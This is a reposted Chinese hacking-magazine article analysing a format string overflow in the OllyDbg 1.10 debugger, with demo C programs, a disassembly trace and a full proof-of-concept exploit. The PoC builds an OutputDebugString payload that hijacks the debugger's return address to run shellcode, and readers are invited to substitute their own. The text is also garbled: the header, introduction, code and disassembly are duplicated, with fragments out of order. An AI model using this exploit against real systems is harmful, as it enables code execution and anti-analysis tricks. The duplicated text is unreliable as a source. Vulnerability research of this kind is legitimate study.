文章作者:gyzy [E.S.T](www.gyzy.org)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
本文已经发表在《黑客防线》2007年6月刊。作者及《黑客防线》保留版权,转载请注明原始出处。
适合读者:溢出爱好者
前置知识:汇编语言、缓冲区溢出基本原理
OllyDbg Format String 0day分析和利用
文/图 gyzy[江苏大学信息安全系&EST]
OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。
可能读者朋友对格式化串漏洞不太熟悉,格式化串其实也是很严重的漏洞,轻则泄露敏感信息,重则可以导致执行任意代码。这次OD出现的问题就是对格式化串过滤不严间接导致了缓冲区溢出的发生,保存在栈中的返回地址被覆盖。那么,哪些函数会引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf这些库函数。先来看一个简单的例子:
图1
4198693 是十进制,16进制就是401125。正常的打印一个十进制数值应该是带参数的,比如printf("%d",i)。i就是一个整形变量。这里我们省略了后者,当所有参数压栈完毕调用printf函数的时候,printf并不能检查参数的正确性,只是机械式的从栈中取值作为参数,也就是我们看到的 4198693,这个时候堆栈就被破坏了,栈中的信息就泄露了(比如密码一类的敏感信息的安全这时候就受到了威胁)。这只是一个简单的例子,现实中可能并不存在这样的漏洞,但却揭示了格式化串问题的严重性。假如提供的参数是%n和经过精心构造的话可以导致往任意内存地址写数据,这也就意味着可以使存在漏洞的程序执行我们提交的任意代码。
OD这一次出现问题的函数并不是printf,而是sprintf。尽管OD已经对OutputDebugString输出的字符串进行了长度检查,只接受255个字节,但是由于没有对提供的参数进行检查,所以间接导致了缓冲区的溢出,我简单模拟了出现问题的代码:
只要我们恶意的调用OutputDebugString函数就可以使OD的EIP被我们提交的数据覆盖,例如OutputDebugString("%4602d 0x90 0x90.....")构造成这样的一个字符串输出,看看OD的反应,如图3:
图3
%4602d表示将字符串扩展成4602个字节,呵呵,够长吧?
我们可以用OllyIce来调试原版的OD,原版OD再运行被调试程序(怎么有点像无间道),简单的跟踪以后,最终定位出问题的代码如下,由于栈中0012DA90保存的返回地址被覆盖,0042E258处的RETN指令将导致EIP被控制,如图4
图4
在OC中给0012DA8C下硬断,看究竟是什么地方覆盖了0012DA90处的值,最终定位到如下指令将0012DA90处的返回地址给覆盖了:
图5
OD的CPU占用率100%了(我的机子是双核,所以是50%)。有兴趣的读者朋友还可以修改Shellcode,不过长度不能超过255字节。
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
本文已经发表在《黑客防线》2007年6月刊。作者及《黑客防线》保留版权,转载请注明原始出处。
适合读者:溢出爱好者
前置知识:汇编语言、缓冲区溢出基本原理
OllyDbg Format String 0day分析和利用
文/图 gyzy[江苏大学信息安全系&EST]
OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。
可能读者朋友对格式化串漏洞不太熟悉,格式化串其实也是很严重的漏洞,轻则泄露敏感信息,重则可以导致执行任意代码。这次OD出现的问题就是对格式化串过滤不严间接导致了缓冲区溢出的发生,保存在栈中的返回地址被覆盖。那么,哪些函数会引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf这些库函数。先来看一个简单的例子:
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
if( argc != 2 )
{
printf("输入一个字符串/n");
return 1;
}
printf( argv[1] );
printf( "/n" );
return 0;
}
程序很简单,就是打印程序的参数,比如参数为"Hello,world",那么程序就会输出"Hello,world"。假如我们输入的是%d又会怎么样呢,如图1:
#include <stdlib.h>
int main( int argc, char *argv[] )
{
if( argc != 2 )
{
printf("输入一个字符串/n");
return 1;
}
printf( argv[1] );
printf( "/n" );
return 0;
}
图1
4198693 是十进制,16进制就是401125。正常的打印一个十进制数值应该是带参数的,比如printf("%d",i)。i就是一个整形变量。这里我们省略了后者,当所有参数压栈完毕调用printf函数的时候,printf并不能检查参数的正确性,只是机械式的从栈中取值作为参数,也就是我们看到的 4198693,这个时候堆栈就被破坏了,栈中的信息就泄露了(比如密码一类的敏感信息的安全这时候就受到了威胁)。这只是一个简单的例子,现实中可能并不存在这样的漏洞,但却揭示了格式化串问题的严重性。假如提供的参数是%n和经过精心构造的话可以导致往任意内存地址写数据,这也就意味着可以使存在漏洞的程序执行我们提交的任意代码。
OD这一次出现问题的函数并不是printf,而是sprintf。尽管OD已经对OutputDebugString输出的字符串进行了长度检查,只接受255个字节,但是由于没有对提供的参数进行检查,所以间接导致了缓冲区的溢出,我简单模拟了出现问题的代码:
#include <stdio.h>
void fun()
{
char para[10];
sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA");
}
void main()
{
fun();
}
关键在%12u表示显示的无符号整数扩展成12位,不足以空格补足,由于para参数只有10个字节,所以保存在栈中的返回地址会被我们提供的AAAA覆盖,如图2:
void fun()
{
char para[10];
sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA");
}
void main()
{
fun();
}
只要我们恶意的调用OutputDebugString函数就可以使OD的EIP被我们提交的数据覆盖,例如OutputDebugString("%4602d 0x90 0x90.....")构造成这样的一个字符串输出,看看OD的反应,如图3:
图3
%4602d表示将字符串扩展成4602个字节,呵呵,够长吧?
我们可以用OllyIce来调试原版的OD,原版OD再运行被调试程序(怎么有点像无间道),简单的跟踪以后,最终定位出问题的代码如下,由于栈中0012DA90保存的返回地址被覆盖,0042E258处的RETN指令将导致EIP被控制,如图4
图4
在OC中给0012DA8C下硬断,看究竟是什么地方覆盖了0012DA90处的值,最终定位到如下指令将0012DA90处的返回地址给覆盖了:
004A353D |. 8B4D 10 MOV ECX,[ARG.3]
004A3540 |. 8BD1 MOV EDX,ECX
004A3542 |. D1E9 SHR ECX,1
004A3544 |. D1E9 SHR ECX,1
004A3546 |. FC CLD
004A3547 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
其实错误原因很明显,OD只对OutputDebugString输出的长度进行了检查,但是却没有对内容进行过滤,就是里面的格式串引发了缓冲区溢出。这个漏洞总给人感觉是鸡肋,没什么利用价值,不过用作一种反调试的手段也算可以,可以让OD进入死循环,以下是我修改过的用作反调试的POC代码, ShellCode就是简单的跳转指令:
004A3540 |. 8BD1 MOV EDX,ECX
004A3542 |. D1E9 SHR ECX,1
004A3544 |. D1E9 SHR ECX,1
004A3546 |. FC CLD
004A3547 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
#include <windows.h>
#include <stdio.h>
#define FORMAT_STRING "%4602d"
#pragma comment(linker,"/ENTRY:WinMain")
char shellcode[] ="/xEB/xFE";
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char* pszEvilBuffer;
ULONG ulEvilBufSize;
DWORD dwRetAddr = 0x7FFA4512;
ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode);
pszEvilBuffer = (char*)malloc(ulEvilBufSize);
memset(pszEvilBuffer,0x90,ulEvilBufSize);
int i = 0;
memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1);
i += sizeof(FORMAT_STRING)-1;
memcpy(pszEvilBuffer+i, &dwRetAddr, sizeof(dwRetAddr));
i += sizeof(dwRetAddr);
memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1);
//输出调试字符串
OutputDebugString(pszEvilBuffer);
free(pszEvilBuffer);
return 0;
}
用OD调试一下看看效果,如图5:
#include <stdio.h>
#define FORMAT_STRING "%4602d"
#pragma comment(linker,"/ENTRY:WinMain")
char shellcode[] ="/xEB/xFE";
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char* pszEvilBuffer;
ULONG ulEvilBufSize;
DWORD dwRetAddr = 0x7FFA4512;
ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode);
pszEvilBuffer = (char*)malloc(ulEvilBufSize);
memset(pszEvilBuffer,0x90,ulEvilBufSize);
int i = 0;
memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1);
i += sizeof(FORMAT_STRING)-1;
memcpy(pszEvilBuffer+i, &dwRetAddr, sizeof(dwRetAddr));
i += sizeof(dwRetAddr);
memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1);
//输出调试字符串
OutputDebugString(pszEvilBuffer);
free(pszEvilBuffer);
return 0;
}
图5
OD的CPU占用率100%了(我的机子是双核,所以是50%)。有兴趣的读者朋友还可以修改Shellcode,不过长度不能超过255字节。